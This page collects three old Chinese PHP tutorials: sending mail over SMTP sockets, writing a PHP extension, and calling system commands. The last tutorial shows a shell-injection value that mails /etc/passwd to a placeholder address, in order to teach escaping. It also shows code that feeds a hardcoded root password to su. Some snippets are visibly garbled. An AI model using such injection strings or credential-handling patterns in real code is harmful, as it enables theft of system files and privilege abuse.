当前位置: 编程技术>php
本页文章导读:
▪用Socket发送电子邮件
用Socket发送电子邮件
在作者所申请的几个PHP 主页空间中，能够提供mail功能的实在不多，总是调用完mail()函数之后就毫 无下文了。但是电子邮件在网上生活中的.........
▪编写自己的php扩展函数
编写自己的php扩展函数
php程序写的时间长了，自然对他所提供的功能了如指掌，他所提供的一大堆功能，真是觉得很好用，但有时候会发现php也缺少一些功能，.........
▪PHP 中执行系统外部命令
PHP 中执行系统外部命令
PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现.........
[1]用Socket发送电子邮件
来源: 互联网 发布时间: 2013-11-30
用Socket发送电子邮件 在作者所申请的几个PHP 主页空间中，能够提供mail功能的实在不多，总是调用完mail()函数之后就毫
无下文了。但是电子邮件在网上生活中的作用越来越大。想一想网虫上网不收邮件能叫真正的网虫吗？邮件
的作用我不想再说了，但是如果主页空间不支持mail()发送那么怎么办呢？我也想过通过socket来实现邮件
发送，但无奈对用php 进行socket编程不熟悉，再加上发送邮件要用到SMTP协议，又要读不少的英文了，所
以一直也没有去研究过。终于有一天我发现了一篇文章，关于用socket编程发送邮件。我如获至宝般将其拷
贝下来，并且将其改造成了一个php 可用的类，供大家使用。原来的文章只是一个简单的例子，而且还有一
些错误，在我经过多次的实验、改造终于将其改成了一个直接使用socket，向指定的邮箱发送邮件的类，如
果大家和前面关于发送MIME的文章结合起来，就可以实现在不支持mail()函数的网站上发送邮件了。因为发
送邮件的过程需要时间，可能与mail()的处理机制还不完全一样，所以速度要慢一些，但是可以解决需要发
送邮件功能的燃眉之急，同时你也可以学习用php 进行socket编程。下面就将这个类的实现原理介绍给大家，
同时向大家讲解一些关于SMTP的基本知识。
Socket编程介绍
向大家申明，本人不是一个TCP/IP编程专家，故在此只是讲出了我的一点理解和体会。
使用fsockopen函数打开一个Internet连接，函数语法格式：
int fsockopen(string hostname, int port, int [errno], string [errstr], int [timeout]);
参数的意思我想不用讲了，这里由于要使用SMTP协议，所以端口号为25。在打开连接成功后，会返回一
个socket句柄，使用它就可以象使用文件句柄一样的。可使用的操作有fputs()，fgets()，feof()，fclose()
等。
很简单地介绍就到这里吧。
SMTP的基础
基于TCP/IP的因特网协议一般的命令格式都是通过请求/ 应答方式实现的，采用的都是文本信息，所以
处理起来要容易一些。SMTP是简单邮件传输协议的简称，它可以实现客户端向服务器发送邮件的功能。所以
下面所讲的命令是指客户端向服务器发出请求指令，而响应则是指服务器返回给客户端的信息。
SMTP分为命令头和信息体两部分。命令头主要完成客户端与服务器的连接，验证等。整个过程由多条命
令组成。每个命令发到服务器后，由服务器给出响应信息，一般为3 位数字的响应码和响应文本。不同的服
务器返回的响应码是遵守协议的，但是响应正文本则不必。每个命令及响应的最后都有一个回车符，这样使
用fputs()和fgets()就可以进行命令与响应的处理了。SMTP的命令及响应信息都是单行的。信息体则是邮件
的正文部分，最后的结束行应以单独的"."作为结束行。
客户端一些常用的SMTP指令为：
HELO hostname: 与服务器打招呼并告知客户端使用的机器名字，可以随便填写
MAIL FROM: sender_id : 告诉服务器发信人的地址
RCPT TO: receiver_id : 告诉服务器收信人的地址
DATA : 下面开始传输信件内容，且最后要以只含有.的特殊行结束
RESET: 取消刚才的指令，从新开始
VERIFY userid: 校验帐号是否存在(此指令为可选指令，服务器可能不支持)
QUIT : 退出连接，结束
服务器返回的响应信息为(格式为：响应码+空格+解释)：
220 服务就绪(在socket连接成功时，会返回此信息)
221 正在处理
250 请求邮件动作正确，完成(HELO,MAIL FROM,RCPT TO,QUIT指令执行成功会返回此信息)
354 开始发送数据，结束以 .(DATA指令执行成功会返回此信息，客户端应发送信息)
500 语法错误，命令不能识别
550 命令不能执行，邮箱无效
552 中断处理：用户超出文件空间
下面给出一个简单的命令头(这是在打开socket之后做的)，是我向stmp.263.net发邮件的测试结果：
HELO limodou
250 smtp.263.net
MAIL FROM: chatme@263.net
250 Ok
RCPT TO: chatme@263.net
250 Ok
DATA
354 End data with .
To: chatme@263.net
From: chatme@263.net
Subject: test
From: chatme@263.net
test
.
QUIT
250 Ok: queued as C46411C5097E0
这就是一些SMTP的简单知识。相关内容可以查阅RFC。
RFC 821定义了收/发电子邮件的相关指令。
RFC 822则制定了邮件內容的格式。
RFC 2045-2048制定了多媒体邮件內容的格式，
RFC 1113, 1422-1424则是讨论如何增进电子邮件的保密性。
send_mail类的实现
现在开始介绍我所编写的发送邮件类。有了上面的预备知识了，下面就是实现了。
类的成员变量
var $lastmessage; //记录最后返回的响应信息
var $lastact; //最后的动作，字符串形式
var $welcome; //用在HELO后面，欢迎用户
var $debug; //是否显示调试信息
var $smtp; //smtp服务器
var $port; //smtp端口号
var $fp; //socket句柄
其中，$lastmessage和$lastact用于记录最后一次响应信息及执行的命令，当出错时，用户可以使用它
们。为了测试需要，我还定义了$debug变量，当其值为true时，会在运行过程中显示一些执行信息，否则无
任何输出。$fp用于保存打开后的socket句柄。
类的构造
--------------------------------------------------------------------------------
function send_mail($smtp, $welcome="", $debug=false)
{
if(empty($smtp)) die("SMTP cannt be NULL!");
$this->smtp=$smtp;
if(empty($welcome))
{
$this->welcome=gethostbyaddr("localhost");
}
else
$this->welcome=$welcome;
$this->debug=$debug;
$this->lastmessage="";
$this->lastact="";
$this->port="25";
}
--------------------------------------------------------------------------------
这个构造函数主要完成一些初始值的判定及设置。$welcome用于HELO指令中，告诉服务器用户的名字。
HELO指令要求为机器名，但是不用也可以。如果用户没有给出$welcome，则自动查找本地的机器名。
显示调试信息
--------------------------------------------------------------------------------
1 function show_debug($message, $inout)
2 {
3 if ($this->debug)
4 {
5 if($inout=="in") //响应信息
6 {
7 $m='<< ';
8 }
9 else
10 $m='>> ';
11 if(!ereg("\n$", $message))
12 $message .= "<br>";
13 $message=nl2br($message);
14 echo "<font color=#999999>${m}${message}</font>";
15 }
16 }
--------------------------------------------------------------------------------
这个函数用来显示调试信息。可以在$inout中指定是上传的指令还是返回的响应，如果为上传指令，则
使用"out"；如果为返回的响应则使用"in"。
第3行，判断是否要输出调试信息。
第5行，判断是否为响应信息，如果是，则在第7行将信息的前面加上"<< "来区别信息；否则在第10行加上
">> "来区别上传指令。
第11-12行，判断信息串最后是否为换行符，如不是则加上HTML换行标记。第13行将所以的换行符转成HTML
的换行标记。
第14行，输出整条信息，同时将信息颜色置为灰色以示区别。
执行一个命令
--------------------------------------------------------------------------------
1 function do_command($command, $code)
2 {
3 $this->lastact=$command;
4 $this->show_debug($this->lastact, "out");
5 fputs ( $this->fp, $this->lastact );
6 $this->lastmessage = fgets ( $this->fp, 512 );
7 $this->show_debug($this->lastmessage, "in");
8 if(!ereg("^$code", $this->lastmessage))
9 {
10 return false;
11 }
12 else
13 return true;
14 }
--------------------------------------------------------------------------------
在编写socket处理部分发现，一些命令的处理很相似，如HELO，MAIL FROM，RCPT TO，QUIT，DATA命令，
都要求根据是否显示调试信息将相关内容显示出来，同时对于返回的响应码，如果是期望的，则应继续处理，
如果不是期望的，则应中断出理。所以为了清晰与简化，专门对这些命令的处理编写了一个通用处理函数。
函数的参数中$code为期望的响应码，如果响应码与之相同则表示处理成功，否则出错。
第3行，记录最后执行命令。
第4行，将上传命令显示出来。
第5行，则使用fputs真正向服务器传换指令。
第6行，从服务器接收响应信息将放在最后响应消息变量中。
第7行，将响应信息显示出来。
第8行，判断响应信息是否期待的，如果是则第13行返回成功(true)，否则在第10行返回失败(false)。
这样，这个函数一方面完成指令及信息的发送显示功能，别一方面对返回的响应判断是否成功。
邮件发送处理
下面是真正的秘密了，可要看仔细了。:)
--------------------------------------------------------------------------------
1 function send( $to,$from,$subject,$message)
2 {
3
4 //连接服务器
5 $this->lastact="connect";
6
7 $this->show_debug("Connect to SMTP server : ".$this->smtp, "out");
8 $this->fp = fsockopen ( $this->smtp, $this->port );
9 if ( $this->fp )
10 {
11
12 set_socket_blocking( $this->fp, true );
13 $this->lastmessage=fgets($this->fp,512);
14 $this->show_debug($this->lastmessage, "in");
15
16 if (! ereg ( "^220", $this->lastmessage ) )
17 {
18 return false;
19 }
20 else
21 {
22 $this->lastact="HELO " . $this->welcome . "\n";
23 if(!$this->do_command($this->lastact, "250"))
24 {
25 fclose($this->fp);
26 return false;
27 }
28
29 $this->lastact="MAIL FROM: $from" . "\n";
30 if(!$this->do_command($this->lastact, "250"))
31 {
32 fclose($this->fp);
33 return false;
34 }
35
36 $this->lastact="RCPT TO: $to" . "\n";
37 if(!$this->do_command($this->lastact, "250"))
38 {
39 fclose($this->fp);
40 return false;
41 }
42
43 //发送正文
44 $this->lastact="DATA\n";
45 if(!$this->do_command($this->lastact, "354"))
46 {
47 fclose($this->fp);
48 return false;
49 }
50
51 //处理Subject头
52 $head="Subject: $subject\n";
53 if(!empty($subject) && !ereg($head, $message))
54 {
55 $message = $head.$message;
56 }
57
58 //处理From头
59 $head="From: $from\n";
60 if(!empty($from) && !ereg($head, $message))
61 {
62 $message = $head.$message;
63 }
64
65 //处理To头
66 $head="To: $to\n";
67 if(!empty($to) && !ereg($head, $message))
68 {
69 $message = $head.$message;
70 }
71
72 //加上结束串
73 if(!ereg("\n\.\n", $message))
74 $message .= "\n.\n";
75 $this->show_debug($message, "out");
76 fputs($this->fp, $message);
77
78 $this->lastact="QUIT\n";
79 if(!$this->do_command($this->lastact, "250"))
80 {
81 fclose($this->fp);
82 return false;
83 }
84 }
85 return true;
86 }
87 else
88 {
89 $this->show_debug("Connect failed!", "in");
90 return false;
91 }
92 }
--------------------------------------------------------------------------------
有些意思很清楚的我就不说了。
这个函数一共有四个参数，分别是$to表示收信人，$from表示发信人，$subject表求邮件主题和$message
表示邮件体。如果处理成功则返回true，失败则返回false。
第8行，连接邮件服务器，如果成功响应码应为220。
第12行，设置阻塞模式，表示信息必须返回才能继续。详细说明看手册吧。
第16行，判断响应码是否为220，如果是，则继续处理，否则出错返回。
第22-27行，处理HELO指令，期望响应码为250。
第29-34行，处理MAIL FROM指令，期望响应码为250。
第36-41行，处理RCPT TO指令，期望响应码为250。
第44-49行，处理DATA指令，期望响应码为354。
第51-76行，生成邮件体，并发送。
第52-56行，如果$subject不为空，则查找邮件体中是否有主题部分，如果没有，则加上主题部分。
第59-63行，如果$from不为空，则查找邮件体中是否有发信人部分，如果没有，则加上发信人部分。
第66-70行，如果$to不为空，则查找邮件体中是否有收信人部分，如果没有，则加上收信人部分。
第73-74行，查找邮件体是否有了结束行，如果没有则加上邮件体的结束行(以"."作为单独的一行的特殊行)。
第76行，发送邮件体。
第78-83行，执行QUIT结否与服务器的连接，期望响应码为250。
第85行，返回处理成功标志(true)。
第81-91行，与服务器连接失败的处理。
以上为整个send_mail类的实现，应该不是很难的。下面给出一个实例。
邮件发送实例
先给出一个最简单的实例：
--------------------------------------------------------------------------------
<?
1 include "sendmail.class.php3";
2 $email="Hello, this is a test letter!";
3 $sendmail=new send_mail("smtp.263.net", "limodou", true); //显示调示信息
4 if($sendmail->send("chatme@263.net", "chatme@263.net", "test", $email))
5 {
6 echo "发送成功！<br>";
7 }
8 else
9 {
10 echo "发送失败！<br>";
11 }
?>
--------------------------------------------------------------------------------
第1行，装入send_mail类。
第3行，创建一个类的实例，且设置显示调示信息，如果不想显示，可以
$sendmail=new send_mail("smtp.263.net");。
第4行，发送邮件。
很简单，不是吗？下面再给合以前的发送MIME邮件的例子，给出一个发送HTML附件的例子。
--------------------------------------------------------------------------------
<?php
include "MIME.class.php3";
//注，在发送MIME邮件一文中，这个类文件名为MIME.class，在此处我改成这样的
$to = 'chatme@263.net'; //改为收信人的邮箱
$str = "Newsletter for ".date('M Y', time());
//信息被我改少了
$html_data = '<html><head><title>'. $str. '</title></head>
<body bgcolor="#ffffff">
Hello! This is a test!
</body>
</html>';
//生成MIME类实例
$mime = new MIME_mail("chatme@263.net", $to, $str);
//添加HTML附件
$mime->attach($html_data, "", HTML, BASE64);
//注释掉，采用我的发送邮件处理
//$mime->send_mail();
//生成邮件
$mime->gen_email();
//显示邮件信息
//echo $mime->email."<br>";
//包含sendmail文件
include "sendmail.class.php3";
//创建实例
$sendmail=new send_mail("smtp.263.net", "limodou", true);
//发送邮件
$sendmail->send("chatme@263.net", "chatme@263.net", $str, $mime->email);
?>
--------------------------------------------------------------------------------
注释写的很清楚，就不再做更多的解释了。如果实际应用中，请将send_mail构造函数中的debug设为
false或不写即可。
[2]编写自己的php扩展函数
来源: 互联网 发布时间: 2013-11-30
编写自己的php扩展函数 php程序写的时间长了，自然对他所提供的功能了如指掌，他所提供的一大堆功能，真是觉得很好用，但有时候会发现php也缺少一些功能，自己总是会产生为php添加一些自定义的功能的想法。久而久之，终于今天憋不住了，开始动手研究如何添加。
下载一个php的源代码包，这里使用的是php 4.0.5版，解压后会看到php的根目录下会有README.EXT_SKEL这样一个文件，打开详细阅读了一下，发现了一个非常好用的工具，这个工具可以帮你构建一个空的php扩展，然后你向里面添加相应的代码就可以完成你自己的功能扩展了。下面我们就来介绍如何使用这个工具。
首先转移你的目录到php的目录下的ext目录，如果你只需要一个基本的扩展框架的话，执行下面的命令：
./ext_skel --extname=module_name
module_name是你自己可以选择的扩展模块的名字，例如我选择的my_module。执行工具后会自动在ext目录下建立你选择的module_name名字的目录，里面已经生成了相关的代码，这些代码中只需要调整config.m4文件中的三行注释就可以正常的编译带这个自定义扩展模块的php了。在php的根目录执行下列操作就可以得到。
./buildconf
./configure --enable-module_name
make
下面我来演示建立my_module扩展框架的全过程，为了更有效果，我们来完成一个php的扩展功能，在php中调用这个功能可以在web页面中显示hello world这个经典单词。
在php目录下的ext目录中，执行下面的命令
./ext_skel --extname=my_module
得到反馈结果：
Creating directory my_module
Creating basic files: config.m4 Makefile.in .cvsignore my_module.c php_my_module.h tests/001.phpt my_module.php [done].
To use your new extension, you will have to execute the following steps:
1. $ cd ..
2. $ vi ext/my_module/config.m4
3. $ ./buildconf
4. $ ./configure --[with|enable]-my_module
5. $ make
6. $ ./php -f ext/my_module/my_module.php
7. $ vi ext/my_module/my_module.c
8. $ make
Repeat steps 3-6 until you are satisfied with ext/my_module/config.m4 and
step 6 confirms that your module is compiled into PHP. Then, start writing
code and repeat the last two steps as often as necessary.
如果你能看懂上面的东西，那就照着去做。如果不是太明白的话，按照我下面的提示来做也可以。
Cd my_module
首先进入my_module目录
vi config.m4
使用文本编辑器打开config.m4文件，文件内容大致如下：
dnl $Id$
dnl config.m4 for extension my_module
dnl don't forget to call PHP_EXTENSION(my_module)
dnl Comments in this file start with the string 'dnl'.
dnl Remove where necessary. This file will not work
dnl without editing.
dnl If your extension references something external, use with:
dnl PHP_ARG_WITH(my_module, for my_module support,
dnl Make sure that the comment is aligned:
dnl [ --with-my_module Include my_module support])
dnl Otherwise use enable:
dnl PHP_ARG_ENABLE(my_module, whether to enable my_module support,
dnl Make sure that the comment is aligned:
dnl [ --enable-my_module Enable my_module support])
if test "$PHP_MY_MODULE" != "no"; then
dnl If you will not be testing anything external, like existence of
dnl headers, libraries or functions in them, just uncomment the
dnl following line and you are ready to go.
dnl Write more examples of tests here...
PHP_EXTENSION(my_module, $ext_shared)
Fi
根据你自己的选择将
dnl PHP_ARG_WITH(my_module, for my_module support,
dnl Make sure that the comment is aligned:
dnl [ --with-my_module Include my_module support])
修改成
PHP_ARG_WITH(my_module, for my_module support,
Make sure that the comment is aligned:
[ --with-my_module Include my_module support])
或者将
dnl PHP_ARG_ENABLE(my_module, whether to enable my_module support,
dnl Make sure that the comment is aligned:
dnl [ --enable-my_module Enable my_module support])
修改成
PHP_ARG_ENABLE(my_module, whether to enable my_module support,
Make sure that the comment is aligned:
[ --enable-my_module Enable my_module support])
一般我会选择后者，然后保存退出。如果你对vi文本编辑器的操作有困难的话，请参考相应的说明文章，这里就不再详细描述了。
Vi my_module.c
将文件其中的下列代码进行修改
/* Every user visible function must have an entry in my_module_functions[].
*/
function_entry my_module_functions[] = {
PHP_FE(say_hello, NULL) /* ß添加着一行代码 */
PHP_FE(confirm_my_module_compiled, NULL) /* For testing, remove later. */
{NULL, NULL, NULL} /* Must be the last line in my_module_functions[] */
};
在文件的最后添加下列代码
PHP_FUNCTION(say_hello)
{
zend_printf("hello world\n");
}
保存文件退出
vi php_my_module.h
在文件中PHP_FUNCTION(confirm_my_module_compiled);一行前面添加下面的代码
PHP_FUNCTION(say_hello);
保存文件退出
退回到php的根目录下，执行下面的命令
./buildconf
./configure --enable-my_module
make
如果一切顺利的话，我们现在已经将扩展模块my_module编译到php里面了。我们编写下面的代码进行测试
<?
Say_hello();
?>
保存文件为say_hello.php
在php的根目录下运行
./php –q say_hello.php
正常情况下会显示
hello world
表示我们的第一个扩展正常的运行了！
解释一下上面做的操作，ext_skel生成一些框下文件，我们需要修改以下文件
my_module.c 扩展模块的主程序
php_my_module.h 扩展模块的头文件
config.m4 配置文件
主程序中描述了php扩展模块的声明，模块中含有多少个函数，各个函数的作用，在phpinfo函数中显示什么内容，模块初始化做些什么，结束做些什么都会在这个文件里进行描述。我们在上面只是添加了一个函数say_hello，并且描述了say_hello函数的具体内容，调用zend_printf系统函数在php中打印字符串。
在对应的头文件中声明了say_hello这个函数，从而完成了我们预期的功能。下面我们会编写一个更复杂的扩展，创造一个带参数的php扩展函数，根据给入的参数，显示hello world, xxxx。Xxxx代表输入的字符串内容，例如我的名字yorgo。
Vi my_module.c
修改最后的say_hello函数内容如下：
PHP_FUNCTION(say_hello)
{
zval **yourname;
if (ZEND_NUM_ARGS() != 1
zend_get_parameters_ex(1, &yourname) == FAILURE)
{
WRONG_PARAM_COUNT;
}
zend_printf("hello world, %s\n", Z_STRVAL_PP(yourname));
}
存盘退出。
退回php的根目录，运行
make
修改say_hello.php为
<?
Say_hello(“yorgo”);
?>
保存退出后运行
./php –q say_hello.php
得出结果
hello world, yorgo
表示我们这次的修改也成功了，可以改变say_hello中的参数，看看动态的效果。
这里主要解释上面修改的函数内容，由于say_hello函数需要有参数引入，所以在my_module.c中的say_hello函数主要在进行参数的处理，将php中引用say_hello时所填写的参数内容正确的传递到my_module.c中的say_hello处理函数中。为此，程序中添加了这么几行。
zval **yourname;
if (ZEND_NUM_ARGS() != 1
zend_get_parameters_ex(1, &yourname) == FAILURE)
{
WRONG_PARAM_COUNT;
}
zend_printf("hello world, %s\n", Z_STRVAL_PP(yourname));
代码解释如下：
zval **yourname;
初始化一个参数的指针
ZEND_NUM_ARGS()
得到传递过来得参数数量，并且判断如果不为1的时候表示有问题，报错。
zend_get_parameters_ex(1, &yourname)
将刚刚初始化的指针指向传递过来的参数，如果不成功则报错。
Z_STRVAL_PP(yourname)
处理指针指向的参数并获得实际存储的值。
(待续)
[3]PHP 中执行系统外部命令
来源: 互联网 发布时间: 2013-11-30
PHP 中执行系统外部命令 PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。
那么，是否可以在PHP脚本中调用外部命令呢？如果能，如何去做呢？有些什么方面的顾虑呢？相信你看了本文后，肯定能够回答这些问题了。
是否可以？
答案是肯定的。PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。
前提条件
由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。
如何做？
在PHP中调用外部命令，可以用如下三种方法来实现：
1） 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
system()
原型：string system (string command [, int return_var])
system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型：string exec (string command [, string array [, int return_var]])
exec()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型：void passthru (string command [, int return_var])
passthru()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2） 用popen()函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭它。
例子1：
$fp=popen("/bin/ls -l", "r");
?>
例子2（本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51）：
/* PHP中如何增加一个系统用户
下面是一段例程，增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
这个脚本的输出就象：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么？
要考虑两个问题：安全性和超时。
先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样：
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱：$to";
?>
用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入（<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中，如：
system("/usr/local/bin/order_proc > /tmp/null &");
?>
最新技术文章: